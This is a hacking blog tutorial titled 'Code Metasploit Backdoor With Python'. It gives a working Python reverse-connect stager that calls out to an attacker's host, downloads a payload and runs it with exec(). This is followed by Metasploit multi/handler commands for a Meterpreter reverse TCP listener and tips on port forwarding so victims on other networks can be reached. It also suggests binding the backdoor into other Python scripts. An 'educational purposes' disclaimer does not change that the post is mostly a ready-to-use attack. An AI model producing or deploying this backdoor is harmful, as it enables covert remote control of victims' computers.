Code Metasploit Backdoor With Python

Hey guys, we are back with a simple by using Tool

after getting a lot of requests from our users, we decided to post this article about how to hack 

We have already posted an article about how to use  and Installation of some Hacking Tools, if you have missed that article then

You Can Read It here: 



Warning
This Tutorials is Only For Educational Purposes Only and we are no more responsible for any mistake you do


Code Metasploit Backdoor With Python

Hello friends we are come back with another excited tutorial in which we learn how to code backdoor with Python so you can hack a hacker also :p. Excited let's get started.


First of all we clear that if you want run backdoor in out of lan devices (Device on another network) then you need to port forwarding for temporary port forwarding i recommend to use ngrok and if you want lifetime port forwarding then use portmap we described both of this methods of port forwarding in our old posts you can check form given links below.
Ngrok Port Forwarding (Temporary)
Portmap Port Forwaring (Lifetime) 
So once you ready with your ports then it time to code our python backdoor. I suggest you to code backdoor yourself don't copy paste below code if you really want to learn something. let's code.


import socket,struct,time

for x in range(10):
   try:
      s=socket.socket(2,socket.SOCK_STREAM)
      s.connect(('target_host',target_port))
      break
   except:
      time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
      d+=s.recv(l-len(d))
exec(d,{'s':s})   

Note :- Enter your host and port in place of (127.0.0.1 and 4444) and you can also bind this script in any other python script.
Exploitation:-
It's time to setup our metasploit console using given commands.

$ msfconsole

$ use exploit/multi/handler

$ set payload python/meterpreter/reverse_tcp

$ set lhost (Enter your host)

$ set lport (Enter your port)

$ exploit


Basudev

Posted by: shivam

Hello, am shivam From lucknow, India.
I am a Die Hard Learner, a Blogger & a Hacker
My Core Interests are Learning, Blogging, Ethical Hacking, ProgrammingYou may like Popular Posts




Comments

Popular posts from this blog